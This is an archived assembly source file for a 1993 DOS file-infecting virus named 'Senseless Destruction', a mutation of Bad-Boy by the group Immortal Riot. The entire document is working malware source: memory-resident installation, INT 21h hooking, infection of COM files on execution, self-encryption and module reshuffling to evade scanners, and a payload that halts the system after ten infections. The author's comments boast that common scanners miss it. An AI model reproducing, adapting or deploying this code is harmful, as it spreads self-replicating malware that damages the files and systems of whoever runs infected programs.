home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / destruct.asm < prev    next >
Assembly Source File  |  1993-07-30  |  14KB  |  541 lines

  1. ; VirusName: Senseless Destruction
  2. ; Country  : Sweden
  3. ; Author   : Metal Militia / Immortal Riot
  4. ; Date     : 07-22-1993
  5. ;
  6. ; This is an mutation of Bad-Boy from 'Unknown'.
  7. ; Many thanks to the scratch coder of Bad-Boy...
  8. ;
  9. ; We've tried this virus ourself, and it works just fine.
  10. ; It uses the TSR, is non-overwriting, and may halt
  11. ; the system. Command files increase by 1069 bytes.
  12. ; Originally from Europe discovered in 1991.
  13. ;
  14. ; This is the second mutation of The Bad Boy virus,
  15. ; the first mutation was found in Bulgaria.
  16. ;
  17. ; McAfee Scan v105 can't find it, and
  18. ; S&S Toolkit 6.5 don't find it either.
  19. ; I haven't tried with scanners like Fprot/Tbscan,
  20. ; but they will probably report some virus structure.
  21. ;
  22. ; Best Regards : [Metal Militia]
  23. ;               [The Unforgiven]
  24.  
  25. code       segment
  26.        assume cs:code,ds:code
  27.        .radix 16
  28.        org  100
  29. start:
  30.        push word ptr cs:[tabb+2]
  31.        push cs
  32.        pop  ds
  33.               jmp  loopshit
  34. otto:
  35.               jmp  start
  36. loopshit:
  37.               jmp  word ptr cs:[tabb]
  38.  
  39. curofs       dw   ?
  40. files       db   0         ;number of infected files from this copy
  41. fsize       dw   2         ;size of infected file
  42. ftime       dw     ?
  43. fdate       dw     ?
  44. stdint21      dd     ?
  45. oldint13      dd     ?
  46. oldint21      dd     ?
  47. oldint24      dd     ?
  48.  
  49. ;------------- TABLE WITH MODULE PARAMETERS --------------------
  50. tabb :
  51.        dw   offset false_mod_1 ;00
  52.        dw   offset mod_2       ;02
  53.        dw   offset mod_3       ;04
  54.        dw   offset mod_4       ;06        ;offset modules
  55.        dw   offset mod_5       ;08
  56.        dw   offset mod_6       ;0a
  57.        dw   offset mod_7       ;0c
  58.        dw   offset mod_8       ;0e
  59.  
  60.        dw   offset mod_2 - offset mod_1;10
  61.        dw   offset mod_3 - offset mod_2;12
  62.        dw   offset mod_4 - offset mod_3;14
  63.        dw   offset mod_5 - offset mod_4;16
  64.        dw   offset mod_6 - offset mod_5;18 ;size modules
  65.        dw   offset mod_7 - offset mod_6;1a
  66.        dw   offset mod_8 - offset mod_7;1c
  67.        dw   offset myend - offset mod_8;1e
  68.  
  69.  
  70. ;------------- MODULE - 1 - CODER/DECODER ----------------------
  71. mod_1:
  72.        mov  bx,offset tabb+2   ;first module to working (module 2)
  73.        mov  cx,6         ;number of modules to working
  74. mod_1_lp1:
  75.        cmp  bx,offset tabb+0a
  76.        jne  mod_1_cont
  77.        add  bx,2
  78. mod_1_cont:
  79.        push bx
  80.        push cx
  81.        mov  ax,[bx]        ;ax - offset module
  82.        mov  cx,[bx+10]        ;cx - size of module
  83.        mov  bx,ax
  84. mod_1_lp2:
  85.        xor  byte ptr [bx],al
  86.        inc  bx
  87.        loop mod_1_lp2
  88.        pop  cx
  89.        pop  bx
  90.        add  bx,2
  91.        loop mod_1_lp1
  92.        ret
  93.  
  94. ;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
  95. mod_2:
  96.        ;instalation check
  97.  
  98.        mov    es,cs:[2]       ;memory size
  99.        mov    di,100
  100.        mov    si,100
  101.        mov    cx,0bh
  102.        repe   cmpsb
  103.        jne    mod_2_install      ;jump if not install
  104.        jmp    word ptr cs:[tabb+06]  ;if install, jump to module 4
  105.  
  106. mod_2_install:
  107.        ;instalation
  108.  
  109.        mov    ax,cs
  110.        dec    ax
  111.        mov    ds,ax
  112.  
  113.        cmp    byte ptr ds:[0],'Z'
  114.        je     mod_2_cont
  115.  
  116.        jmp    word ptr cs:[tabb+6]     ;if no last MCB - go to mod4
  117.  
  118. mod_2_cont:
  119.        sub    word ptr ds:[3],0c0
  120.        mov    ax,es
  121.        sub    ax,0c0
  122.        mov    es,ax
  123.        mov    word ptr ds:[12],ax       ;decrement memory size with 2K
  124.        push   cs
  125.        pop    ds
  126.  
  127. mod_2_mut:
  128.        mov  byte ptr cs:files,0
  129.  
  130.        mov  di,100
  131.        mov  cx,offset mod_1-100
  132.        mov  si,100
  133.        rep  movsb     ;write table to new memory
  134.  
  135.        mov  bx,word ptr cs:[tabb]
  136.        add  bx,offset mod_1_lp2-offset mod_1+1
  137.        xor  byte ptr [bx],18      ;change code method
  138.  
  139.        mov  cx,8
  140.        mov  word ptr curofs,offset mod_1
  141. mod_2_lp1:
  142.        push cx
  143.        call mod_2_rnd ;generate random module addres
  144.        push bx      ;addres in table returned from mod_2_rnd
  145.        mov  ax,[bx]   ;offset module
  146.        push ax
  147.        add  bx,10
  148.        mov  cx,[bx]   ;length of module
  149.        pop  si
  150.        pop  bx
  151.        xchg di,curofs
  152.        mov  word ptr es:[bx],di ;change module offset in table
  153.        rep  movsb        ;copy module to new memory
  154.        xchg di,curofs        ;change current offset in new memory
  155.        mov  ax,8000
  156.        or   word ptr [bx],ax    ;mark module - used
  157.        pop  cx
  158.        loop mod_2_lp1
  159.        mov  cl,8
  160.        not  ax
  161.        mov  bx,offset tabb
  162. mod_2_lp2:
  163.        and  word ptr [bx],ax    ;unmark all modules
  164.        add  bx,2
  165.        loop mod_2_lp2
  166.  
  167.        jmp  word ptr cs:[tabb+4]  ;go to module 3
  168.  
  169. mod_2_rnd:
  170.        push cx
  171.        push es
  172.        xor  cx,cx
  173.        mov  es,cx
  174. mod_2_lp3:
  175.        mov  bx,es:[46c]
  176.        db 81,0e3,07,00  ;and bx,7
  177.        shl  bx,1
  178.        add  bx,offset tabb
  179.        test [bx],8000
  180.        jnz  mod_2_lp3
  181.        pop  es
  182.        pop  cx
  183.        ret
  184.  
  185. ;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
  186. mod_3:
  187.        xor    ax,ax
  188.        mov    ds,ax
  189.  
  190.        mov    ax,ds:[4*21]
  191.        mov    word ptr es:[oldint21],ax
  192.        mov    ax,ds:[4*21+2]
  193.        mov    word ptr es:[oldint21+2],ax
  194.  
  195.        mov    ah,30
  196.        int    21
  197.        cmp    ax,1e03
  198.        jne    mod_3_getvec
  199.  
  200.        mov    word ptr es:[stdint21],1460
  201.        mov    ax,1203
  202.        push   ds
  203.        int    2f
  204.        mov    word ptr es:[stdint21+2],ds
  205.        pop    ds
  206.        jmp    mod_3_setvec
  207.  
  208. mod_3_getvec:
  209.        mov    ax,ds:[4*21]
  210.        mov    word ptr es:[stdint21],ax
  211.        mov    ax,ds:[4*21+2]
  212.        mov    word ptr es:[stdint21+2],ax
  213.  
  214. mod_3_setvec:
  215.        cli
  216.        mov    ax,word ptr es:[tabb+0c]
  217.        mov    ds:[4*21],ax
  218.        mov    ax,es
  219.        mov    ds:[4*21+2],ax
  220.        sti
  221.  
  222.        mov    cx,es
  223.        mov    ah,13    ;
  224.        int    2f     ;
  225.        push   es     ;
  226.        mov    es,cx    ;
  227.        mov    word ptr es:[oldint13],dx  ; get standart int13 addres
  228.        mov    word ptr es:[oldint13+2],ds ;
  229.        pop    es     ;
  230.        int    2f     ;
  231.  
  232.        jmp    word ptr cs:[tabb+06]        ;go to module 4
  233.  
  234. ;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
  235. mod_4:
  236.        push   cs
  237.        push   cs
  238.        pop    ds
  239.        pop    es
  240.        mov    si,word ptr cs:[tabb+06]
  241.        add    si,offset mod_4_cont - offset mod_4
  242.        mov    di,cs:fsize
  243.        add    di,offset myend+1
  244.        push   di
  245.        mov    cx,offset mod_5 - offset mod_4_cont
  246.        cld
  247.        rep    movsb
  248.        ret
  249. mod_4_cont:
  250.        mov    si,cs:fsize
  251.        add    si,100
  252.  
  253.        cmp    si,offset myend+1
  254.        jnc    mod_4_cnt
  255.        mov    si,offset myend+1
  256. mod_4_cnt:
  257.        mov    di,100
  258.        mov    cx,offset myend-100
  259.        rep    movsb
  260.        mov    ax,100   ;
  261.        push   ax       ; jmp 100
  262.        ret       ;
  263.  
  264. ;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
  265. mod_5:
  266.        mov    ah,9
  267.        mov    dx,word ptr [tabb+8]
  268.        add    dx,offset msg-offset mod_5
  269.        push   cs
  270.        pop    ds
  271.        int    21
  272.        cli
  273.        hlt
  274.  
  275. msg           db     0dh,0a,'Senseless Destruction...',7,7,'$'
  276.  
  277. ;------------- MODULE - 6 - INT 24 HEADER -----------------------
  278. mod_6:
  279.        mov    al,3
  280.        iret
  281.               db     'Protecting what we are ',0
  282.               db     'joining together to take on the world.. ',0
  283.               db     'METAL MiLiTiA [iMM0RTAL Ri0T] ',0
  284.  
  285.  
  286.  
  287.  
  288. ;------------- MODULE - 7 - INT 21 HEADER -----------------------
  289. mod_7:
  290.        push   bx
  291.        push   si
  292.        push   di
  293.        push   es
  294.        push   ax
  295.  
  296.        cmp    ax,4b00
  297.        je     mod_7_begin
  298.               jmp    mod_7_exit
  299. mod_7_begin:
  300.        push   ds
  301.        push   cs           ;
  302.        pop    es           ;
  303.        xor    ax,ax          ;
  304.        mov    ds,ax          ;
  305.        mov    si,4*24          ;
  306.        mov    di,offset oldint24         ;
  307.        movsw           ;   change int24 vector
  308.        movsw           ;
  309.        mov    ax,word ptr cs:[tabb+0a]        ;
  310.        cli           ;
  311.        mov    ds:[4*24],ax         ;
  312.        mov    ax,cs          ;
  313.        mov    ds:[4*24+2],ax         ;
  314.        sti
  315.        pop    ds
  316.  
  317.        mov    ax,3d00          ;
  318.        pushf           ;
  319.        call   cs:oldint21         ;
  320.        jc     mod_7_ex          ; open,infect,close file
  321.        mov    bx,ax          ;
  322. mod_7_infect:                           ;
  323.           call   word ptr cs:[tabb+0e]           ;
  324.           pushf
  325.           mov    ah,3e                   ;
  326.           pushf                       ;
  327.           call   cs:oldint21               ;
  328.           popf
  329.           jc     mod_7_ex
  330.  
  331.           push   ds              ;
  332.           cli                 ;
  333.           xor    ax,ax             ;
  334.           mov    ds,ax             ;
  335.           mov    ax,word ptr cs:[oldint13]     ;
  336.           xchg   ax,word ptr ds:[4*13]     ;
  337.           mov    word ptr cs:[oldint13],ax     ; exchange int13 vectors
  338.           mov    ax,word ptr cs:[oldint13+2] ;
  339.           xchg   ax,word ptr ds:[4*13+2]     ;
  340.           mov    word ptr cs:[oldint13+2],ax ;
  341.           sti                 ;
  342.           pop    ds              ;
  343. mod_7_ex:
  344.           push   ds                    ;
  345.           xor    ax,ax                   ;
  346.           mov    ds,ax                   ;
  347.           mov    ax,word ptr cs:oldint24           ;
  348.           mov    ds:[4*24],ax               ;
  349.           mov    ax,word ptr cs:oldint24+2           ; restore int24 vector
  350.           mov    ds:[4*24+2],ax               ;
  351.           pop    ds                    ;
  352.  
  353. mod_7_exit:
  354.           pop    ax
  355.           pop    es
  356.           pop    di
  357.           pop    si
  358.           pop    bx
  359.  
  360.           jmp    cs:oldint21
  361.  
  362. ;------------- MODULE - 8 - INFECTING (bx - file handle) --------
  363. mod_8:
  364.           push   cx
  365.           push   dx
  366.           push   ds
  367.           push   es
  368.           push   di
  369.           push   bp
  370.  
  371.           push   bx
  372.           mov    ax,1220
  373.           int    2f
  374.           mov    bl,es:[di]
  375.           xor    bh,bh
  376.           mov    ax,1216
  377.           int    2f
  378.           pop    bx
  379.  
  380.           mov    ax,word ptr es:[di+11]
  381.           cmp    ax,0f000
  382.           jc     mod_8_c
  383.           jmp    mod_8_exit
  384.  
  385. mod_8_c:
  386.           mov    word ptr es:[di+2],2           ;open mode - R/W
  387.  
  388.           mov    ax,es:[di+11]
  389.           mov    cs:fsize,ax           ; save file size
  390.  
  391.           mov    ax,word ptr es:[di+0dh]   ;
  392.           mov    word ptr cs:[ftime],ax    ; save file date/time
  393.           mov    ax,word ptr es:[di+0f]    ;
  394.           mov    word ptr cs:[fdate],ax    ;
  395.  
  396.           push   cs              ;
  397.           pop    ds              ;
  398.           mov    dx,offset myend+1         ;
  399.           mov    cx,offset myend-100     ; read first bytes
  400.           mov    ah,3f             ;
  401.           pushf
  402.           call   cs:oldint21
  403.           jnc    mod_8_cnt
  404.           jmp    mod_8_exit
  405.  
  406. mod_8_cnt:
  407.           mov    bp,ax             ; ax - bytes read
  408.           mov    si,dx
  409.           mov    ax,'MZ'
  410.           cmp    ax,word ptr ds:[si]
  411.           jne    mod_8_nxtchk
  412.           jmp    mod_8_exit
  413. mod_8_nxtchk:
  414.           xchg   ah,al
  415.           cmp    ax,ds:[si]
  416.           jne    mod_8_cnt2
  417.           jmp    mod_8_exit
  418.  
  419. mod_8_cnt2:
  420.           push   es
  421.           push   di
  422.           push   cs              ;
  423.           pop    es              ;
  424.           mov    si,100             ;
  425.           mov    di,dx             ; check for infected file
  426.           mov    cx,0bh             ;
  427.           repe   cmpsb             ;
  428.           pop    di
  429.           pop    es
  430.           jne    mod_8_cnt1          ;
  431.           jmp    mod_8_exit
  432. mod_8_cnt1:
  433.           mov    word ptr es:[di+15],0     ; fp:=0
  434.  
  435.           push   es
  436.           push   di
  437.           mov    si,word ptr cs:[tabb+0e]
  438.           add    si,offset mod_8_cont - offset mod_8
  439.           xor    di,di
  440.           push   cs
  441.           pop    es
  442.           mov    cx,offset mod_8_cont_end - offset mod_8_cont
  443.           cld
  444.           rep    movsb
  445.           pop    di
  446.           pop    es
  447.  
  448.           mov    si,word ptr cs:[tabb+0e]
  449.           add    si,offset mod_8_cont_end - offset mod_8
  450.           push   si
  451.           xor    si,si
  452.           push   si
  453.  
  454.           push   ds              ;
  455.           cli                 ;
  456.           xor    ax,ax             ;
  457.           mov    ds,ax             ;
  458.           mov    ax,word ptr cs:[oldint13]     ;
  459.           xchg   ax,word ptr ds:[4*13]     ;
  460.           mov    word ptr cs:[oldint13],ax     ;
  461.           mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
  462.           xchg   ax,word ptr ds:[4*13+2]     ;
  463.           mov    word ptr cs:[oldint13+2],ax ;
  464.           sti                 ;
  465.           pop    ds              ;
  466.  
  467.           ret
  468.  
  469. mod_8_cont:
  470.           push   bx
  471.           call   word ptr cs:[tabb]     ; code virus
  472.           pop    bx
  473.  
  474.           mov    dx,100             ;
  475.           mov    ah,40             ; write code in begin
  476.           mov    cx,offset myend-0ff
  477.           pushf                 ;
  478.           call   cs:stdint21         ;
  479.  
  480.           pushf
  481.           push   bx
  482.           call   word ptr cs:[tabb]     ; decode virus
  483.           pop    bx
  484.           popf
  485.           jnc    mod_8_cont1
  486.           pop    ax
  487.           mov    ax,word ptr cs:[tabb+0e]
  488.           add    ax,offset mod_8_ext - offset mod_8
  489.           push   ax
  490.           ret
  491. mod_8_cont1:
  492.           mov    ax,es:[di+11]         ; fp:=end of file
  493.           mov    word ptr es:[di+15],ax     ;
  494.  
  495.           mov    dx,offset myend+1
  496.           mov    cx,bp             ; bp - files read
  497.           mov    ah,40             ;
  498.           pushf                 ;
  499.           call   cs:stdint21         ; write in end of file
  500.  
  501.           ret
  502.  
  503. mod_8_cont_end:
  504.           mov    ax,5701     ;
  505.           mov    cx,cs:ftime ;
  506.           mov    dx,cs:fdate ; restore file date/time
  507.           pushf         ;
  508.           call   cs:oldint21 ;
  509.  
  510.           inc    cs:files
  511.           cmp    cs:files,0a
  512.           jne    mod_8_ext
  513.           call   word ptr cs:[tabb+8]
  514.           jmp    short mod_8_ext
  515. mod_8_exit:
  516.           stc
  517.           jmp    short mod_8_ex
  518. mod_8_ext:
  519.           clc
  520. mod_8_ex:
  521.           pop    bp
  522.           pop    di
  523.           pop    es
  524.           pop    ds
  525.           pop    dx
  526.           pop    cx
  527.           ret
  528.  
  529. ;---------------------------------------------------------------
  530.  
  531. myend          db   0
  532.  
  533.           int    20            ;code of infected file
  534.  
  535. false_mod_1:
  536.           mov     word ptr cs:[tabb],offset mod_1
  537.           ret
  538.  
  539. code          ends
  540.           end  start
  541.